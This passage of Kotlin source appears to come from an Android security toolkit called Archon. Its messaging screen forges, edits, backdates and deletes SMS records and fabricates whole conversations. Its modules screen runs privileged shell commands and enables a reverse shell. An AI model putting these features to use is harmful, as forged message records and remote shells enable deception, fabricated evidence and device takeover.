super.onViewCreated(view, savedInstanceState)
repo = MessagingRepository(requireContext())
shizuku = ShizukuManager(requireContext())
bindViews(view)
setupConversationList()
setupThreadView()
setupSearch()
setupToolbar()
setupOutputLog()
// Load conversations
loadConversations()
// Check Shizuku status
refreshShizukuStatus()
}
// ── View binding ───────────────────────────────────────────────
private fun bindViews(view: View) {
// Conversation list
conversationListContainer = view.findViewById(R.id.conversation_list_container)
recyclerConversations = view.findViewById(R.id.recycler_conversations)
emptyState = view.findViewById(R.id.empty_state)
shizukuDot = view.findViewById(R.id.shizuku_status_dot)
btnSearch = view.findViewById(R.id.btn_search)
btnDefaultSms = view.findViewById(R.id.btn_default_sms)
btnTools = view.findViewById(R.id.btn_tools)
searchBar = view.findViewById(R.id.search_bar)
inputSearch = view.findViewById(R.id.input_search)
btnSearchGo = view.findViewById(R.id.btn_search_go)
btnSearchClose = view.findViewById(R.id.btn_search_close)
fabNewMessage = view.findViewById(R.id.fab_new_message)
// Thread view
threadViewContainer = view.findViewById(R.id.thread_view_container)
recyclerMessages = view.findViewById(R.id.recycler_messages)
threadContactName = view.findViewById(R.id.thread_contact_name)
threadAddress = view.findViewById(R.id.thread_address)
btnBack = view.findViewById(R.id.btn_back)
btnThreadExport = view.findViewById(R.id.btn_thread_export)
inputMessage = view.findViewById(R.id.input_message)
btnSend = view.findViewById(R.id.btn_send)
// Output log
outputLogCard = view.findViewById(R.id.output_log_card)
outputLog = view.findViewById(R.id.messaging_output_log)
btnCloseLog = view.findViewById(R.id.btn_close_log)
}
// ── Conversation list ──────────────────────────────────────────
private fun setupConversationList() {
conversationAdapter = ConversationAdapter(mutableListOf()) { conversation ->
openThread(conversation)
}
recyclerConversations.apply {
layoutManager = LinearLayoutManager(requireContext())
adapter = conversationAdapter
}
fabNewMessage.setOnClickListener {
showForgeMessageDialog()
}
}
private fun loadConversations() {
Thread {
val conversations = repo.getConversations()
handler.post {
conversationAdapter.updateData(conversations)
if (conversations.isEmpty()) {
emptyState.visibility = View.VISIBLE
recyclerConversations.visibility = View.GONE
} else {
emptyState.visibility = View.GONE
recyclerConversations.visibility = View.VISIBLE
}
}
}.start()
}
// ── Thread view ────────────────────────────────────────────────
private fun setupThreadView() {
messageAdapter = MessageAdapter(mutableListOf()) { message ->
showMessageContextMenu(message)
}
recyclerMessages.apply {
layoutManager = LinearLayoutManager(requireContext()).apply {
stackFromEnd = true
}
adapter = messageAdapter
}
btnBack.setOnClickListener {
closeThread()
}
btnSend.setOnClickListener {
sendMessage()
}
btnThreadExport.setOnClickListener {
exportCurrentThread()
}
}
private fun openThread(conversation: MessagingRepository.Conversation) {
currentThreadId = conversation.threadId
currentAddress = conversation.address
val displayName = conversation.contactName ?: conversation.address
threadContactName.text = displayName
threadAddress.text = if (conversation.contactName != null) conversation.address else ""
// Mark as read
Thread {
repo.markAsRead(conversation.threadId)
}.start()
// Load messages
loadMessages(conversation.threadId)
// Switch views
conversationListContainer.visibility = View.GONE
threadViewContainer.visibility = View.VISIBLE
}
private fun closeThread() {
currentThreadId = -1
currentAddress = ""
threadViewContainer.visibility = View.GONE
conversationListContainer.visibility = View.VISIBLE
// Refresh conversations to update unread counts
loadConversations()
}
private fun loadMessages(threadId: Long) {
Thread {
val messages = repo.getMessages(threadId)
handler.post {
messageAdapter.updateData(messages)
// Scroll to bottom
if (messages.isNotEmpty()) {
recyclerMessages.scrollToPosition(messages.size - 1)
}
}
}.start()
}
private fun sendMessage() {
val body = inputMessage.text?.toString()?.trim() ?: return
if (body.isEmpty()) return
inputMessage.setText("")
Thread {
val success = repo.sendSms(currentAddress, body)
handler.post {
if (success) {
// Reload messages to show the sent message
loadMessages(currentThreadId)
} else {
// If we can't send (not default SMS), try forge as sent
val id = repo.forgeMessage(
currentAddress, body,
MessagingRepository.MESSAGE_TYPE_SENT,
System.currentTimeMillis(), read = true
)
if (id >= 0) {
loadMessages(currentThreadId)
appendLog("Message inserted (forge mode — not actually sent)")
} else {
appendLog("Failed to send/insert — need default SMS app role")
Toast.makeText(requireContext(),
"Cannot send — set as default SMS app first",
Toast.LENGTH_SHORT).show()
}
}
}
}.start()
}
private fun exportCurrentThread() {
if (currentThreadId < 0) return
Thread {
val result = ModuleManager.executeAction("messaging", "export_thread:$currentThreadId", requireContext())
handler.post {
appendLog(result.output)
for (detail in result.details) {
appendLog(" $detail")
}
showOutputLog()
}
}.start()
}
// ── Search ─────────────────────────────────────────────────────
private fun setupSearch() {
btnSearch.setOnClickListener {
if (searchBar.visibility == View.VISIBLE) {
searchBar.visibility = View.GONE
} else {
searchBar.visibility = View.VISIBLE
inputSearch.requestFocus()
}
}
btnSearchGo.setOnClickListener {
val query = inputSearch.text?.toString()?.trim() ?: ""
if (query.isNotEmpty()) {
performSearch(query)
}
}
btnSearchClose.setOnClickListener {
searchBar.visibility = View.GONE
inputSearch.setText("")
loadConversations()
}
}
private fun performSearch(query: String) {
Thread {
val results = repo.searchMessages(query)
handler.post {
if (results.isEmpty()) {
appendLog("No results for '$query'")
showOutputLog()
} else {
// Group results by thread and show as conversations
val threadGroups = results.groupBy { it.threadId }
val conversations = threadGroups.map { (threadId, msgs) ->
val first = msgs.first()
MessagingRepository.Conversation(
threadId = threadId,
address = first.address,
snippet = "[${msgs.size} matches] ${first.body.take(40)}",
date = first.date,
messageCount = msgs.size,
unreadCount = 0,
contactName = first.contactName
)
}.sortedByDescending { it.date }
conversationAdapter.updateData(conversations)
emptyState.visibility = View.GONE
recyclerConversations.visibility = View.VISIBLE
appendLog("Found ${results.size} messages in ${conversations.size} threads")
}
}
}.start()
}
// ── Toolbar actions ────────────────────────────────────────────
private fun setupToolbar() {
btnDefaultSms.setOnClickListener {
toggleDefaultSms()
}
btnTools.setOnClickListener { anchor ->
showToolsMenu(anchor)
}
}
private fun toggleDefaultSms() {
Thread {
if (!isDefaultSms) {
val result = ModuleManager.executeAction("messaging", "become_default", requireContext())
handler.post {
if (result.success) {
isDefaultSms = true
btnDefaultSms.text = getString(R.string.messaging_restore_default)
appendLog("Archon is now default SMS app")
} else {
appendLog("Failed: ${result.output}")
}
showOutputLog()
}
} else {
val result = ModuleManager.executeAction("messaging", "restore_default", requireContext())
handler.post {
if (result.success) {
isDefaultSms = false
btnDefaultSms.text = getString(R.string.messaging_become_default)
appendLog("Default SMS app restored")
} else {
appendLog("Failed: ${result.output}")
}
showOutputLog()
}
}
}.start()
}
private fun showToolsMenu(anchor: View) {
val popup = PopupMenu(requireContext(), anchor)
popup.menu.add(0, 1, 0, "Export All Messages")
popup.menu.add(0, 2, 1, "Forge Message")
popup.menu.add(0, 3, 2, "Forge Conversation")
popup.menu.add(0, 4, 3, "RCS Status")
popup.menu.add(0, 5, 4, "Shizuku Status")
popup.menu.add(0, 6, 5, "Intercept Mode ON")
popup.menu.add(0, 7, 6, "Intercept Mode OFF")
popup.setOnMenuItemClickListener { item ->
when (item.itemId) {
1 -> executeModuleAction("export_all")
2 -> showForgeMessageDialog()
3 -> showForgeConversationDialog()
4 -> executeModuleAction("rcs_status")
5 -> executeModuleAction("shizuku_status")
6 -> executeModuleAction("intercept_mode:on")
7 -> executeModuleAction("intercept_mode:off")
}
true
}
popup.show()
}
private fun executeModuleAction(actionId: String) {
appendLog("Running: $actionId...")
showOutputLog()
Thread {
val result = ModuleManager.executeAction("messaging", actionId, requireContext())
handler.post {
appendLog(result.output)
for (detail in result.details.take(20)) {
appendLog(" $detail")
}
}
}.start()
}
// ── Shizuku status ─────────────────────────────────────────────
private fun refreshShizukuStatus() {
Thread {
val ready = shizuku.isReady()
handler.post {
setStatusDot(shizukuDot, ready)
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
// ── Message context menu (long-press) ──────────────────────────
private fun showMessageContextMenu(message: MessagingRepository.Message) {
val items = arrayOf(
"Copy",
"Edit Body",
"Delete",
"Change Timestamp",
"Spoof Read Status",
"Forward (Forge)"
)
AlertDialog.Builder(requireContext())
.setTitle("Message Options")
.setItems(items) { _, which ->
when (which) {
0 -> copyMessage(message)
1 -> editMessageBody(message)
2 -> deleteMessage(message)
3 -> changeTimestamp(message)
4 -> spoofReadStatus(message)
5 -> forwardAsForge(message)
}
}
.show()
}
private fun copyMessage(message: MessagingRepository.Message) {
val clipboard = requireContext().getSystemService(android.content.ClipboardManager::class.java)
val clip = android.content.ClipData.newPlainText("sms", message.body)
clipboard?.setPrimaryClip(clip)
Toast.makeText(requireContext(), "Copied to clipboard", Toast.LENGTH_SHORT).show()
}
private fun editMessageBody(message: MessagingRepository.Message) {
val input = TextInputEditText(requireContext()).apply {
setText(message.body)
setTextColor(resources.getColor(R.color.text_primary, null))
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
setPadding(32, 24, 32, 24)
}
AlertDialog.Builder(requireContext())
.setTitle("Edit Message Body")
.setView(input)
.setPositiveButton("Save") { _, _ ->
val newBody = input.text?.toString() ?: return@setPositiveButton
Thread {
val success = repo.updateMessage(message.id, body = newBody, type = null, date = null, read = null)
handler.post {
if (success) {
appendLog("Updated message ${message.id}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to update — need default SMS app role")
}
showOutputLog()
}
}.start()
}
.setNegativeButton("Cancel", null)
.show()
}
private fun deleteMessage(message: MessagingRepository.Message) {
AlertDialog.Builder(requireContext())
.setTitle("Delete Message")
.setMessage("Delete this message permanently?\n\n\"${message.body.take(60)}\"")
.setPositiveButton("Delete") { _, _ ->
Thread {
val success = repo.deleteMessage(message.id)
handler.post {
if (success) {
appendLog("Deleted message ${message.id}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to delete — need default SMS app role")
}
showOutputLog()
}
}.start()
}
.setNegativeButton("Cancel", null)
.show()
}
private fun changeTimestamp(message: MessagingRepository.Message) {
val cal = Calendar.getInstance()
cal.timeInMillis = message.date
DatePickerDialog(requireContext(), { _, year, month, day ->
TimePickerDialog(requireContext(), { _, hour, minute ->
cal.set(year, month, day, hour, minute)
val newDate = cal.timeInMillis
Thread {
val success = repo.updateMessage(message.id, body = null, type = null, date = newDate, read = null)
handler.post {
if (success) {
val fmt = SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.US)
appendLog("Changed timestamp to ${fmt.format(Date(newDate))}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to change timestamp")
}
showOutputLog()
}
}.start()
}, cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), true).show()
}, cal.get(Calendar.YEAR), cal.get(Calendar.MONTH), cal.get(Calendar.DAY_OF_MONTH)).show()
}
private fun spoofReadStatus(message: MessagingRepository.Message) {
val items = arrayOf("Mark as Read", "Mark as Unread")
AlertDialog.Builder(requireContext())
.setTitle("Read Status")
.setItems(items) { _, which ->
val newRead = which == 0
Thread {
val success = repo.updateMessage(message.id, body = null, type = null, date = null, read = newRead)
handler.post {
if (success) {
appendLog("Set read=${newRead} for message ${message.id}")
loadMessages(currentThreadId)
} else {
appendLog("Failed to update read status")
}
showOutputLog()
}
}.start()
}
.show()
}
private fun forwardAsForge(message: MessagingRepository.Message) {
// Pre-fill the forge dialog with this message's body
showForgeMessageDialog(prefillBody = message.body)
}
// ── Forge dialogs ──────────────────────────────────────────────
private fun showForgeMessageDialog(prefillBody: String? = null) {
val dialogView = LayoutInflater.from(requireContext())
.inflate(R.layout.dialog_forge_message, null)
val forgeAddress = dialogView.findViewById<TextInputEditText>(R.id.forge_address)
val forgeContactName = dialogView.findViewById<TextInputEditText>(R.id.forge_contact_name)
val forgeBody = dialogView.findViewById<TextInputEditText>(R.id.forge_body)
val forgeTypeReceived = dialogView.findViewById<MaterialButton>(R.id.forge_type_received)
val forgeTypeSent = dialogView.findViewById<MaterialButton>(R.id.forge_type_sent)
val forgePickDate = dialogView.findViewById<MaterialButton>(R.id.forge_pick_date)
val forgePickTime = dialogView.findViewById<MaterialButton>(R.id.forge_pick_time)
val forgeReadStatus = dialogView.findViewById<CheckBox>(R.id.forge_read_status)
prefillBody?.let { forgeBody.setText(it) }
// If we're in a thread, prefill the address
if (currentAddress.isNotEmpty()) {
forgeAddress.setText(currentAddress)
}
// Direction toggle
var selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
forgeTypeReceived.setOnClickListener {
selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED
forgeTypeReceived.tag = "selected"
forgeTypeSent.tag = null
}
forgeTypeSent.setOnClickListener {
selectedType = MessagingRepository.MESSAGE_TYPE_SENT
forgeTypeSent.tag = "selected"
forgeTypeReceived.tag = null
}
// Date/time pickers
forgeCalendar = Calendar.getInstance()
val dateFormat = SimpleDateFormat("MMM dd, yyyy", Locale.US)
val timeFormat = SimpleDateFormat("HH:mm", Locale.US)
forgePickDate.text = dateFormat.format(forgeCalendar.time)
forgePickTime.text = timeFormat.format(forgeCalendar.time)
forgePickDate.setOnClickListener {
DatePickerDialog(requireContext(), { _, year, month, day ->
forgeCalendar.set(Calendar.YEAR, year)
forgeCalendar.set(Calendar.MONTH, month)
forgeCalendar.set(Calendar.DAY_OF_MONTH, day)
forgePickDate.text = dateFormat.format(forgeCalendar.time)
}, forgeCalendar.get(Calendar.YEAR), forgeCalendar.get(Calendar.MONTH),
forgeCalendar.get(Calendar.DAY_OF_MONTH)).show()
}
forgePickTime.setOnClickListener {
TimePickerDialog(requireContext(), { _, hour, minute ->
forgeCalendar.set(Calendar.HOUR_OF_DAY, hour)
forgeCalendar.set(Calendar.MINUTE, minute)
forgePickTime.text = timeFormat.format(forgeCalendar.time)
}, forgeCalendar.get(Calendar.HOUR_OF_DAY), forgeCalendar.get(Calendar.MINUTE), true).show()
}
AlertDialog.Builder(requireContext())
.setView(dialogView)
.setPositiveButton("Forge") { _, _ ->
val address = forgeAddress.text?.toString()?.trim() ?: ""
val contactName = forgeContactName.text?.toString()?.trim()
val body = forgeBody.text?.toString()?.trim() ?: ""
val read = forgeReadStatus.isChecked
val date = forgeCalendar.timeInMillis
if (address.isEmpty() || body.isEmpty()) {
Toast.makeText(requireContext(), "Address and body required", Toast.LENGTH_SHORT).show()
return@setPositiveButton
}
Thread {
val id = repo.forgeMessage(
address = address,
body = body,
type = selectedType,
date = date,
contactName = contactName,
read = read
)
handler.post {
if (id >= 0) {
val direction = if (selectedType == 1) "received" else "sent"
appendLog("Forged $direction message id=$id to $address")
showOutputLog()
// Refresh view
if (currentThreadId > 0) {
loadMessages(currentThreadId)
} else {
loadConversations()
}
} else {
appendLog("Forge failed — need default SMS app role")
showOutputLog()
}
}
}.start()
}
.setNegativeButton("Cancel", null)
.show()
}
private fun showForgeConversationDialog() {
val input = TextInputEditText(requireContext()).apply {
hint = "Phone number (e.g. +15551234567)"
setTextColor(resources.getColor(R.color.text_primary, null))
setHintTextColor(resources.getColor(R.color.text_muted, null))
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
setPadding(32, 24, 32, 24)
inputType = android.text.InputType.TYPE_CLASS_PHONE
}
AlertDialog.Builder(requireContext())
.setTitle("Forge Conversation")
.setMessage("Create a fake conversation with back-and-forth messages from this number:")
.setView(input)
.setPositiveButton("Forge") { _, _ ->
val address = input.text?.toString()?.trim() ?: ""
if (address.isEmpty()) {
Toast.makeText(requireContext(), "Phone number required", Toast.LENGTH_SHORT).show()
return@setPositiveButton
}
executeModuleAction("forge_conversation:$address")
// Refresh after a short delay for the inserts to complete
handler.postDelayed({ loadConversations() }, 2000)
}
.setNegativeButton("Cancel", null)
.show()
}
// ── Output log ─────────────────────────────────────────────────
private fun setupOutputLog() {
btnCloseLog.setOnClickListener {
outputLogCard.visibility = View.GONE
}
}
private fun showOutputLog() {
outputLogCard.visibility = View.VISIBLE
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(30)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
}

View File

@@ -0,0 +1,306 @@
package com.darkhal.archon.ui
import android.content.Context
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.appcompat.app.AlertDialog
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.module.ModuleManager
import com.darkhal.archon.module.ReverseShellModule
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.util.PrivilegeManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.textfield.TextInputEditText
class ModulesFragment : Fragment() {
private lateinit var serverStatusDot: View
private lateinit var serverStatusText: TextView
private lateinit var archonStatusDot: View
private lateinit var archonInfoText: TextView
private lateinit var archonUidText: TextView
private lateinit var inputArchonCmd: TextInputEditText
private lateinit var shieldStatusDot: View
private lateinit var shieldStatusText: TextView
private lateinit var honeypotStatusDot: View
private lateinit var honeypotStatusText: TextView
private lateinit var revshellStatusDot: View
private lateinit var revshellStatusText: TextView
private lateinit var outputLog: TextView
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_modules, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
serverStatusDot = view.findViewById(R.id.server_status_dot)
serverStatusText = view.findViewById(R.id.server_status_text)
archonStatusDot = view.findViewById(R.id.archon_status_dot)
archonInfoText = view.findViewById(R.id.archon_info_text)
archonUidText = view.findViewById(R.id.archon_uid_text)
inputArchonCmd = view.findViewById(R.id.input_archon_cmd)
shieldStatusDot = view.findViewById(R.id.shield_status_dot)
shieldStatusText = view.findViewById(R.id.shield_status_text)
honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot)
honeypotStatusText = view.findViewById(R.id.honeypot_status_text)
revshellStatusDot = view.findViewById(R.id.revshell_status_dot)
revshellStatusText = view.findViewById(R.id.revshell_status_text)
outputLog = view.findViewById(R.id.modules_output_log)
// Archon Server buttons
view.findViewById<MaterialButton>(R.id.btn_archon_run).setOnClickListener {
val cmd = inputArchonCmd.text?.toString()?.trim() ?: ""
if (cmd.isEmpty()) {
appendLog("Enter a command to run")
return@setOnClickListener
}
runArchonCommand(cmd)
}
view.findViewById<MaterialButton>(R.id.btn_archon_info).setOnClickListener {
appendLog("Querying server info...")
Thread {
val info = ArchonClient.getServerInfo(requireContext())
handler.post {
if (info != null) {
appendLog("Archon: $info")
archonInfoText.text = "Info: $info"
} else {
appendLog("Archon Server not running")
archonInfoText.text = "Status: not running"
}
}
}.start()
}
view.findViewById<MaterialButton>(R.id.btn_archon_ping).setOnClickListener {
Thread {
val running = ArchonClient.isServerRunning(requireContext())
handler.post {
setStatusDot(archonStatusDot, running)
appendLog(if (running) "Archon: pong" else "Archon: no response")
}
}.start()
}
view.findViewById<MaterialButton>(R.id.btn_archon_packages).setOnClickListener {
runArchonCommand("pm list packages -3")
}
// Shield buttons
view.findViewById<MaterialButton>(R.id.btn_shield_full_scan).setOnClickListener {
runModuleAction("shield", "full_scan", "Full Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_packages).setOnClickListener {
runModuleAction("shield", "scan_packages", "Package Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_admins).setOnClickListener {
runModuleAction("shield", "scan_device_admins", "Device Admin Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_certs).setOnClickListener {
runModuleAction("shield", "scan_certificates", "Certificate Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_network).setOnClickListener {
runModuleAction("shield", "scan_network", "Network Scan")
}
// Honeypot buttons
view.findViewById<MaterialButton>(R.id.btn_honeypot_harden).setOnClickListener {
runModuleAction("honeypot", "harden_all", "Harden All")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_reset_ad).setOnClickListener {
runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_dns).setOnClickListener {
runModuleAction("honeypot", "set_private_dns", "Private DNS")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_restrict).setOnClickListener {
runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_revoke).setOnClickListener {
runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms")
}
// Reverse Shell buttons
view.findViewById<MaterialButton>(R.id.btn_revshell_enable).setOnClickListener {
showRevshellWarnings(0)
}
view.findViewById<MaterialButton>(R.id.btn_revshell_disable).setOnClickListener {
runModuleAction("revshell", "disable", "Disable")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_connect).setOnClickListener {
runModuleAction("revshell", "connect", "Connect")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_disconnect).setOnClickListener {
runModuleAction("revshell", "disconnect", "Disconnect")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_status).setOnClickListener {
runModuleAction("revshell", "status", "Status")
}
// Initialize status
refreshStatus()
}
private fun refreshStatus() {
Thread {
val method = PrivilegeManager.getAvailableMethod()
val archonRunning = ArchonClient.isServerRunning(requireContext())
val serverInfo = if (archonRunning) {
ArchonClient.getServerInfo(requireContext()) ?: "running"
} else {
null
}
val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext())
val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext())
val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext())
handler.post {
// Server status
val serverActive = method != PrivilegeManager.Method.NONE
setStatusDot(serverStatusDot, serverActive)
serverStatusText.text = when (method) {
PrivilegeManager.Method.ROOT -> "Privilege: Root (su)"
PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server"
PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB"
PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote"
PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first"
}
// Archon Server status
setStatusDot(archonStatusDot, archonRunning)
archonInfoText.text = if (archonRunning) {
"Status: Running ($serverInfo)"
} else {
"Status: Not running — start in Setup tab"
}
// Module status
setStatusDot(shieldStatusDot, shieldStatus?.active == true)
shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}"
setStatusDot(honeypotStatusDot, honeypotStatus?.active == true)
honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}"
setStatusDot(revshellStatusDot, revshellStatus?.active == true)
revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}"
appendLog("Privilege: ${method.label}")
if (archonRunning) appendLog("Archon Server: active")
}
}.start()
}
private fun runArchonCommand(command: String) {
appendLog("$ $command")
Thread {
val method = PrivilegeManager.getAvailableMethod()
if (method == PrivilegeManager.Method.NONE) {
handler.post { appendLog("Error: No privilege method — run Setup first") }
return@Thread
}
val result = PrivilegeManager.execute(command)
handler.post {
if (result.stdout.isNotEmpty()) {
// Show up to 30 lines
val lines = result.stdout.split("\n").take(30)
for (line in lines) {
appendLog(line)
}
if (result.stdout.split("\n").size > 30) {
appendLog("... (${result.stdout.split("\n").size - 30} more lines)")
}
}
if (result.stderr.isNotEmpty()) {
appendLog("ERR: ${result.stderr}")
}
if (result.exitCode != 0) {
appendLog("exit: ${result.exitCode}")
}
}
}.start()
}
private fun runModuleAction(moduleId: String, actionId: String, label: String) {
appendLog("Running: $label...")
Thread {
val result = ModuleManager.executeAction(moduleId, actionId, requireContext())
handler.post {
appendLog("$label: ${result.output}")
for (detail in result.details.take(20)) {
appendLog(" $detail")
}
// Update module status after action
when (moduleId) {
"shield" -> shieldStatusText.text = "Last: ${result.output}"
"honeypot" -> honeypotStatusText.text = "Status: ${result.output}"
"revshell" -> revshellStatusText.text = "Status: ${result.output}"
}
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(30)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
/**
* Show reverse shell safety warnings one at a time.
* After all 3 are accepted, set the warning flag and run the enable action.
*/
private fun showRevshellWarnings(index: Int) {
val warnings = ReverseShellModule.WARNINGS
if (index >= warnings.size) {
// All warnings accepted — set the prefs flag and enable
val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE)
prefs.edit().putBoolean("revshell_warnings_accepted", true).apply()
appendLog("All warnings accepted")
runModuleAction("revshell", "enable", "Enable")
return
}
AlertDialog.Builder(requireContext())
.setTitle("Warning ${index + 1} of ${warnings.size}")
.setMessage(warnings[index])
.setPositiveButton("I Understand") { _, _ ->
showRevshellWarnings(index + 1)
}
.setNegativeButton("Cancel") { _, _ ->
appendLog("Reverse shell enable cancelled at warning ${index + 1}")
}
.setCancelable(false)
.show()
}
}

View File

@@ -0,0 +1,231 @@
package com.darkhal.archon.ui
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.darkhal.archon.LoginActivity
import com.darkhal.archon.R
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.SslHelper
import com.google.android.material.button.MaterialButton
import com.google.android.material.materialswitch.MaterialSwitch
import com.google.android.material.textfield.TextInputEditText
class SettingsFragment : Fragment() {
private lateinit var inputServerIp: TextInputEditText
private lateinit var inputWebPort: TextInputEditText
private lateinit var inputAdbPort: TextInputEditText
private lateinit var inputUsbipPort: TextInputEditText
private lateinit var switchAutoRestart: MaterialSwitch
private lateinit var statusText: TextView
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_settings, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
inputServerIp = view.findViewById(R.id.input_server_ip)
inputWebPort = view.findViewById(R.id.input_web_port)
inputAdbPort = view.findViewById(R.id.input_adb_port)
inputUsbipPort = view.findViewById(R.id.input_usbip_port)
switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart)
statusText = view.findViewById(R.id.settings_status)
loadSettings()
view.findViewById<MaterialButton>(R.id.btn_save_settings).setOnClickListener {
saveSettings()
}
view.findViewById<MaterialButton>(R.id.btn_auto_detect).setOnClickListener {
autoDetectServer(it as MaterialButton)
}
view.findViewById<MaterialButton>(R.id.btn_test_connection).setOnClickListener {
testConnection()
}
view.findViewById<MaterialButton>(R.id.btn_logout).setOnClickListener {
AuthManager.logout(requireContext())
val intent = android.content.Intent(requireContext(), LoginActivity::class.java)
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
startActivity(intent)
}
}
private fun loadSettings() {
val ctx = requireContext()
inputServerIp.setText(PrefsManager.getServerIp(ctx))
inputWebPort.setText(PrefsManager.getWebPort(ctx).toString())
inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString())
inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString())
switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx)
}
private fun saveSettings() {
val ctx = requireContext()
val serverIp = inputServerIp.text.toString().trim()
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555
val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240
if (serverIp.isEmpty()) {
statusText.text = "Error: Server IP cannot be empty"
return
}
// Validate IP format (IPv4 or hostname)
if (!isValidIpOrHostname(serverIp)) {
statusText.text = "Error: Invalid IP address or hostname"
return
}
// Validate port ranges
if (webPort < 1 || webPort > 65535) {
statusText.text = "Error: Web port must be 1-65535"
return
}
if (adbPort < 1 || adbPort > 65535) {
statusText.text = "Error: ADB port must be 1-65535"
return
}
PrefsManager.setServerIp(ctx, serverIp)
PrefsManager.setWebPort(ctx, webPort)
PrefsManager.setAdbPort(ctx, adbPort)
PrefsManager.setUsbIpPort(ctx, usbipPort)
PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked)
statusText.text = "Settings saved"
Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show()
}
private fun isValidIpOrHostname(input: String): Boolean {
// IPv4 pattern
val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""")
val match = ipv4.matchEntire(input)
if (match != null) {
return match.groupValues.drop(1).all {
val n = it.toIntOrNull() ?: return false
n in 0..255
}
}
// Hostname pattern (alphanumeric, dots, hyphens)
val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""")
return hostname.matches(input)
}
private fun autoDetectServer(btn: MaterialButton) {
statusText.text = "Scanning for AUTARCH server..."
btn.isEnabled = false
btn.text = "SCANNING..."
val discovery = DiscoveryManager(requireContext())
discovery.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
discovery.stopDiscovery()
val method = when (server.method) {
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
